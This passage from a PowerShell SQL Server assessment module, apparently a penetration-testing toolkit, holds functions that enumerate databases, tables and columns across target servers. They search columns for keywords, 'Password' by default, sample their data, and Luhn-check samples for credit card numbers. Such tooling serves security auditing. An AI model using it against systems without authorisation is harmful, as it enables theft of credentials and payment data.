        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable
        $TblDatabases = New-Object -TypeName System.Data.DataTable
        $null = $TblDatabases.Columns.Add('ComputerName')
        $null = $TblDatabases.Columns.Add('Instance')
        $null = $TblDatabases.Columns.Add('DatabaseId')
        $null = $TblDatabases.Columns.Add('DatabaseName')
        $null = $TblDatabases.Columns.Add('DatabaseOwner')
        $null = $TblDatabases.Columns.Add('OwnerIsSysadmin')
        $null = $TblDatabases.Columns.Add('is_trustworthy_on')
        $null = $TblDatabases.Columns.Add('is_db_chaining_on')
        $null = $TblDatabases.Columns.Add('is_broker_enabled')
        $null = $TblDatabases.Columns.Add('is_encrypted')
        $null = $TblDatabases.Columns.Add('is_read_only')
        $null = $TblDatabases.Columns.Add('create_date')
        $null = $TblDatabases.Columns.Add('recovery_model_desc')
        $null = $TblDatabases.Columns.Add('FileName')
        $null = $TblDatabases.Columns.Add('DbSizeMb')
        $null = $TblDatabases.Columns.Add('has_dbaccess')

        # Setup database filter
        if($DatabaseName)
        {
            $DatabaseFilter = " and a.name like '$DatabaseName'"
        }
        else
        {
            $DatabaseFilter = ''
        }

        # Setup NoDefault filter
        if($NoDefaults)
        {
            $NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')"
        }
        else
        {
            $NoDefaultsFilter = ''
        }

        # Setup HasAccess filter
        if($HasAccess)
        {
            $HasAccessFilter = ' and HAS_DBACCESS(a.name)=1'
        }
        else
        {
            $HasAccessFilter = ''
        }

        # Setup owner is sysadmin filter
        if($SysAdminOnly)
        {
            $SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1"
        }
        else
        {
            $SysAdminOnlyFilter = ''
        }

        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        
        # set instance to local host by default
        if(-not $Instance){ 
            $Instance = $env:COMPUTERNAME
        }

        # Ensure provided instance is processed
        if($Instance)
        {            
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }            
        }

        # Add instance to instance list
        $PipelineItems = $PipelineItems + $ProvideInstance
    }

    Process
    {      
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_         
    }

    End
    {   
        # Define code to be multi-threaded
        $MyScriptBlock = {

            # Set instance
            $Instance = $_.Instance

            # Parse computer name from the instance
            $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

            # Test connection to instance
            $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
                $_.Status -eq 'Accessible'
            }
            if($TestConnection)
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }
            }
            else
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Failed."
                }
                return
            }
           
            # Check version
            $SQLVersionFull = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber         
            if($SQLVersionFull)
            {
                $SQLVersionShort = $SQLVersionFull.Split('.')[0]
            }

            # Base query
            $QueryStart = " SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                a.database_id as [DatabaseId],
                a.name as [DatabaseName],
                SUSER_SNAME(a.owner_sid) as [DatabaseOwner],
                IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin],
                a.is_trustworthy_on,
            a.is_db_chaining_on,"

            # Version specific columns
            if([int]$SQLVersionShort -ge 10)
            {
                $QueryVerSpec = '
                    a.is_broker_enabled,
                    a.is_encrypted,
                a.is_read_only,'
            }

            # Query end
            $QueryEnd = '
                a.create_date,
                a.recovery_model_desc,
                b.filename as [FileName],
                (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2))
                from sys.master_files where name like a.name) as [DbSizeMb],
                HAS_DBACCESS(a.name) as [has_dbaccess]
                FROM [sys].[databases] a
            INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1'

            # User defined filters
            $Filters = "
                $DatabaseFilter
                $NoDefaultsFilter
                $HasAccessFilter
                $SysAdminOnlyFilter
            ORDER BY a.database_id"

            $Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters"

            # Execute Query
            $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose                              

            # Append results for pipeline items
            $TblResults | 
            ForEach-Object -Process {
                # Set version specific values
                if([int]$SQLVersionShort -ge 10)
                {
                    $is_broker_enabled = $_.is_broker_enabled
                    $is_encrypted = $_.is_encrypted
                    $is_read_only = $_.is_read_only 
                }
                else
                {
                    $is_broker_enabled = 'NA'
                    $is_encrypted = 'NA'
                    $is_read_only = 'NA'
                }
            
                $null = $TblDatabases.Rows.Add(
                    $_.ComputerName,
                    $_.Instance,
                    $_.DatabaseId,
                    $_.DatabaseName,
                    $_.DatabaseOwner,
                    $_.OwnerIsSysadmin,
                    $_.is_trustworthy_on,
                    $_.is_db_chaining_on,
                    $is_broker_enabled,
                    $is_encrypted,
                    $is_read_only,
                    $_.create_date,
                    $_.recovery_model_desc,
                    $_.FileName,
                    $_.DbSizeMb,
                    $_.has_dbaccess
                )
            }
        }         

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue                

        return $TblDatabases
    }
}


# ----------------------------------
# Get-SQLTable
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLTable 
{
    <#
            .SYNOPSIS
            Returns table information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER TableName
            Table name to filter for.
            .PARAMETER NoDefaults
            Filter out results from default databases.
            .EXAMPLE
            PS C:\> Get-SQLTable -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : testdb
            SchemaName : dbo
            TableName : NOCList
            TableType : BASE TABLE
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : testdb
            SchemaName : dbo
            TableName : tracking
            TableType : BASE TABLE
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLTable -Verbose -NoDefaults
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,               
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database name.')]
        [string]$DatabaseName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Table name.')]
        [string]$TableName,

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't select tables from default databases.")]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        $TblTables = New-Object -TypeName System.Data.DataTable
        
        # Setup table filter
        if($TableName)
        {
            $TableFilter = " where table_name like '%$TableName%'"
        }
        else
        {
            $TableFilter = ''
        }
    }

    Process
    {
        # Note: Tables queried by this function typically require sysadmin or DBO privileges.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose -Message "$Instance : Grabbing tables from databases below:"
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Setup NoDefault filter
        if($NoDefaults)
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose
        }
        else
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose         
        }

        # Get tables for each database
        $TblDatabases | 
        ForEach-Object -Process {
            # Get database name
            $DbName = $_.DatabaseName

            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : - $DbName"
            }

            # Define Query
            $Query = " USE $DbName;
                SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                TABLE_CATALOG AS [DatabaseName],
                TABLE_SCHEMA AS [SchemaName],
                TABLE_NAME as [TableName],
                TABLE_TYPE as [TableType]
                FROM [$DbName].[INFORMATION_SCHEMA].[TABLES]
                $TableFilter
            ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME"

            # Execute Query
            $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

            # Append results
            $TblTables = $TblTables + $TblResults 
        }        
    }

    End
    {  
        # Return data
        $TblTables              
    }
}


# ----------------------------------
# Get-SQLColumn
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLColumn 
{
    <#
            .SYNOPSIS
            Returns column information from target SQL Servers. Supports keyword search.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER DatabaseName
            Database name filter.
            .PARAMETER TableName
            Table name filter.
            .PARAMETER ColumnName
            Column name filter.
            .PARAMETER ColumnNameSearch
            Column name filter that support wildcards.
            .PARAMETER NoDefaults
            Don't list anything from default databases.
            .EXAMPLE
            PS C:\> Get-SQLColumn -Verbose -Instance "SQLServer1"
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLColumn -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,               
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database name.')]
        [string]$DatabaseName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Table name.')]
        [string]$TableName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Filter by exact column name.')]
        [string]$ColumnName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Column name using wildcards in search. Supports comma seperated list.')]
        [string]$ColumnNameSearch,

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't select tables from default databases.")]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblColumns = New-Object -TypeName System.Data.DataTable

        # Setup table filter
        if($TableName)
        {
            $TableNameFilter = " and TABLE_NAME like '%$TableName%'"
        }
        else
        {
            $TableNameFilter = ''
        }

        # Setup column filter
        if($ColumnName)
        {
            $ColumnFilter = " and column_name like '$ColumnName'"
        }
        else
        {
            $ColumnFilter = ''
        }

        # Setup column filter
        if($ColumnNameSearch)
        {
            $ColumnSearchFilter = " and column_name like '%$ColumnNameSearch%'"
        }
        else
        {
            $ColumnSearchFilter = ''
        }

        # Setup column search filter
        if($ColumnNameSearch)
        {
            $Keywords = $ColumnNameSearch.split(',')
            
            [int]$i = $Keywords.Count
            while ($i -gt 0)
            {
                $i = $i - 1
                $Keyword = $Keywords[$i]                

                if($i -eq ($Keywords.Count -1))
                {
                    $ColumnSearchFilter = "and column_name like '%$Keyword%'"
                }
                else
                {
                    $ColumnSearchFilter = $ColumnSearchFilter + " or column_name like '%$Keyword%'"
                }
            }             
        }   
    }

    Process
    {
        # Note: Tables queried by this function typically require sysadmin or DBO privileges.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Setup NoDefault filter
        if($NoDefaults)
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose
        }
        else
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose
        }

        # Get tables for each database
        $TblDatabases | 
        ForEach-Object -Process {
            # Get database name
            $DbName = $_.DatabaseName         

            # Define Query
            $Query = " USE $DbName;
                SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                TABLE_CATALOG AS [DatabaseName],
                TABLE_SCHEMA AS [SchemaName],
                TABLE_NAME as [TableName],
                COLUMN_NAME as [ColumnName],
                DATA_TYPE as [ColumnDataType],
                CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength]
                FROM [$DbName].[INFORMATION_SCHEMA].[COLUMNS] WHERE 1=1
                $ColumnSearchFilter
                $ColumnFilter
                $TableNameFilter
            ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME"

            # Execute Query
            $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose

            # Append results
            $TblColumns = $TblColumns + $TblResults
        }        
    }

    End
    {  
        # Return data
        $TblColumns           
    }
}


# ---------------------------------------
# Get-SQLColumnSampleData
# ---------------------------------------
# Author: Scott Sutherland
Function Get-SQLColumnSampleData 
{
    <#
            .SYNOPSIS
            Returns column information from target SQL Servers. Supports search by keywords, sampling data, and validating credit card numbers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER $NoOutput
            Don't output any sample data.
            .PARAMETER SampleSize
            Number of records to sample.
            .PARAMETER Keywords
            Number of records to sample.
            .PARAMETER DatabaseName
            Database to filter on.
            .PARAMETER ValidateCC
            Use Luhn formula to check if sample is a valid credit card.
            Column name filter that support wildcards.
            .PARAMETER NoDefaults
            .EXAMPLE
            PS C:\> Get-SQLColumnSampleData -verbose -Instance SQLServer1\STANDARDDEV2014 -Keywords "account,credit,card" -SampleSize 5 -ValidateCC| ft -AutoSize
            VERBOSE: SQLServer1\STANDARDDEV2014 : START SEARCH DATA BY COLUMN
            VERBOSE: SQLServer1\STANDARDDEV2014 : CONNECTION SUCCESS
            VERBOSE: SQLServer1\STANDARDDEV2014 : - Searching for column names that match criteria...
            VERBOSE: SQLServer1\STANDARDDEV2014 : - Column match: [testdb].[dbo].[tracking].[card]
            VERBOSE: SQLServer1\STANDARDDEV2014 : - Selecting 5 rows of data sample from column [testdb].[dbo].[tracking].[card].
            VERBOSE: SQLServer1\STANDARDDEV2014 : COMPLETED SEARCH DATA BY COLUMN
 
            ComputerName Instance Database Schema Table Column Sample RowCount IsCC
            ------------ -------- -------- ------ ----- ------ ------ -------- ----
            SQLServer1 SQLServer1\STANDARDDEV2014 testdb dbo tracking card 4111111111111111 2 True
            SQLServer1 SQLServer1\STANDARDDEV2014 testdb dbo tracking card 41111111111ASDFD 2 False
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLColumnSampleData -Keywords "account,credit,card" -SampleSize 5 -ValidateCC
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [switch]$NoOutput,       

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of records to sample.')]
        [int]$SampleSize = 1,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Comma seperated list of keywords to search for.')]
        [string]$Keywords = 'Password',

        [Parameter(Mandatory = $false,
        HelpMessage = 'Database name to filter on.')]
        [string]$DatabaseName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Use Luhn formula to check if sample is a valid credit card.')]
        [switch]$ValidateCC,

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't select tables from default databases.")]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {                         
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Database')
        $null = $TblData.Columns.Add('Schema')
        $null = $TblData.Columns.Add('Table')
        $null = $TblData.Columns.Add('Column')
        $null = $TblData.Columns.Add('Sample')   
        $null = $TblData.Columns.Add('RowCount')    

        if($ValidateCC)
        {
            $null = $TblData.Columns.Add('IsCC')
        }
    }

    Process
    {   
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : CONNECTION FAILED"
            }                     
            Return
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : START SEARCH DATA BY COLUMN" 
                Write-Verbose -Message "$Instance : - Connection Success."
                Write-Verbose -Message "$Instance : - Searching for column names that match criteria..." 
            }
            
            if($NoDefaults){
                # Search for columns
                $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -NoDefaults -SuppressVerbose
            }else{
                $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -SuppressVerbose
            }

        }           
        
        # Check if columns were found
        if($Columns)
        {
            # List columns found
            $Columns|
            ForEach-Object -Process {
                $sDatabaseName = $_.DatabaseName
                $sSchemaName = $_.SchemaName
                $sTableName = $_.TableName
                $sColumnName = $_.ColumnName
                $AffectedColumn = "[$sDatabaseName].[$sSchemaName].[$sTableName].[$sColumnName]"
                $AffectedTable = "[$sDatabaseName].[$sSchemaName].[$sTableName]"
                $Query = "USE $sDatabaseName; SELECT TOP $SampleSize [$sColumnName] FROM $AffectedTable WHERE [$sColumnName] is not null"
                $QueryRowCount = "USE $sDatabaseName; SELECT count(CAST([$sColumnName] as VARCHAR(200))) as NumRows FROM $AffectedTable WHERE [$sColumnName] is not null"

                # Status user
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : - Column match: $AffectedColumn"                               
                    Write-Verbose -Message "$Instance : - Selecting $SampleSize rows of data sample from column $AffectedColumn."
                }

                # Get row count for column matches
                $RowCount = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query $QueryRowCount -SuppressVerbose | Select-Object -Property NumRows -ExpandProperty NumRows
                
                # Get sample data
                Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query $Query -SuppressVerbose |
                Select-Object -ExpandProperty $sColumnName |
                ForEach-Object -Process {                                                                                                              
                    if($ValidateCC)
                    {
                        # Check if value is CC
                        $Value = 0                                                   
                        if([uint64]::TryParse($_,[ref]$Value))
                        {
                            $LuhnCheck = Test-IsLuhnValid $_ -ErrorAction SilentlyContinue
                        }
                        else
                        {
                            $LuhnCheck = 'False'
                        }

                        # Add record
                        $null = $TblData.Rows.Add($ComputerName, $Instance, $sDatabaseName, $sSchemaName, $sTableName, $sColumnName, $_, $RowCount, $LuhnCheck)                                                                        
                    }
                    else
                    {
                        # Add record
                        $null = $TblData.Rows.Add($ComputerName, $Instance, $sDatabaseName, $sSchemaName, $sTableName, $sColumnName, $_, $RowCount)                                                                        
                    }
                }
            }                                          
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : - No columns were found that matched the search."
            }
        } 
                
        # Status User
        if( -not $SuppressVerbose)
        {
            Write-Verbose -Message "$Instance : END SEARCH DATA BY COLUMN"
        }
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}


# ---------------------------------------
# Get-SQLColumnSampleDataThreaded
# ---------------------------------------
# Author: Scott Sutherland
Function Get-SQLColumnSampleDataThreaded 
{
    <#
            .SYNOPSIS
            Returns column information from target SQL Servers. Supports search by keywords, sampling data, and validating credit card numbers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER $NoOutput
            Don't output any sample data.
            .PARAMETER SampleSize
            Number of records to sample.
            .PARAMETER Keywords
            Comma seperated list of keywords to search for.
            .PARAMETER ValidateCC
            Use Luhn formula to check if sample is a valid credit card.
            .PARAMETER Threads
            Number of concurrent host threads.
            .EXAMPLE
            PS C:\> Get-SQLColumnSampleDataThreaded -verbose -Instance SQLServer1\STANDARDDEV2014 -Keywords "account,credit,card" -SampleSize 5 -ValidateCC | ft -AutoSize
            VERBOSE: SQLServer1\STANDARDDEV2014 : START SEARCH DATA BY COLUMN
            VERBOSE: SQLServer1\STANDARDDEV2014 : CONNECTION SUCCESS
            VERBOSE: SQLServer1\STANDARDDEV2014 : - Searching for column names that match criteria...
            VERBOSE: SQLServer1\STANDARDDEV2014 : - Column match: [testdb].[dbo].[tracking].[card]
            VERBOSE: SQLServer1\STANDARDDEV2014 : - Selecting 5 rows of data sample from column [testdb].[dbo].[tracking].[card].
            VERBOSE: SQLServer1\STANDARDDEV2014 : COMPLETED SEARCH DATA BY COLUMN
 
            ComputerName Instance Database Schema Table Column Sample RowCount IsCC
            ------------ -------- -------- ------ ----- ------ ------ -------- ----
            SQLServer1 SQLServer1\STANDARDDEV2014 testdb dbo tracking card 4111111111111111 2 True
            SQLServer1 SQLServer1\STANDARDDEV2014 testdb dbo tracking card 41111111111ASDFD 2 False
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLColumnSampleDataThreaded -Keywords "account,credit,card" -SampleSize 5 -ValidateCC -Threads 10
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,       

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of records to sample.')]
        [int]$SampleSize = 1,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Comma seperated list of keywords to search for.')]
        [string]$Keywords = 'Password',

        [Parameter(Mandatory = $false,
        HelpMessage = 'Use Luhn formula to check if sample is a valid credit card.')]
        [switch]$ValidateCC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of threads.')]
        [int]$Threads = 5,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Database')
        $null = $TblData.Columns.Add('Schema')
        $null = $TblData.Columns.Add('Table')
        $null = $TblData.Columns.Add('Column')
        $null = $TblData.Columns.Add('Sample')   
        $null = $TblData.Columns.Add('RowCount')    

        if($ValidateCC)
        {
            $null = $TblData.Columns.Add('IsCC')
        }

        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        # Ensure provide instance is processed
        if($Instance)
        {
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }
            $PipelineItems = $PipelineItems + $ProvideInstance
        }
    }

    Process
    {      
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_         
    }

    End
    {   
        # Define code to be multi-threaded
        $MyScriptBlock = {
            $Instance = $_.Instance
                     
            # Parse computer name from the instance
            $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

            # Default connection to local default instance
            if(-not $Instance)
            {
                $Instance = $env:COMPUTERNAME
            }

            # Test connection to server
            $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
                $_.Status -eq 'Accessible'
            }
            if(-not $TestConnection)
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : CONNECTION FAILED"
                }                     
                Return
            }
            else
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : START SEARCH DATA BY COLUMN" 
                    Write-Verbose -Message "$Instance : - Connection Success."
                    Write-Verbose -Message "$Instance : - Searching for column names that match criteria..." 
                }
            
                # Search for columns
                $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -ColumnNameSearch $Keywords -NoDefaults -SuppressVerbose
            }           
        
            # Check if columns were found
            if($Columns)
            {
                # List columns found
                $Columns|
                ForEach-Object -Process {
                    $DatabaseName = $_.DatabaseName
                    $SchemaName = $_.SchemaName
                    $TableName = $_.TableName
                    $ColumnName = $_.ColumnName
                    $AffectedColumn = "[$DatabaseName].[$SchemaName].[$TableName].[$ColumnName]"
                    $AffectedTable = "[$DatabaseName].[$SchemaName].[$TableName]"
                    $Query = "USE $DatabaseName; SELECT TOP $SampleSize [$ColumnName] FROM $AffectedTable WHERE [$ColumnName] is not null"
                    $QueryRowCount = "USE $DatabaseName; SELECT count(CAST([$ColumnName] as VARCHAR(1))) as NumRows FROM $AffectedTable WHERE [$ColumnName] is not null"

                    if( -not $SuppressVerbose)
                    {
                        Write-Verbose -Message "$Instance : - Column match: $AffectedColumn"                               
                        Write-Verbose -Message "$Instance : - Selecting $SampleSize rows of data sample from column $AffectedColumn."
                    }

                    # Query for data
                    $RowCount = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query $QueryRowCount -SuppressVerbose | Select-Object -Property NumRows -ExpandProperty NumRows
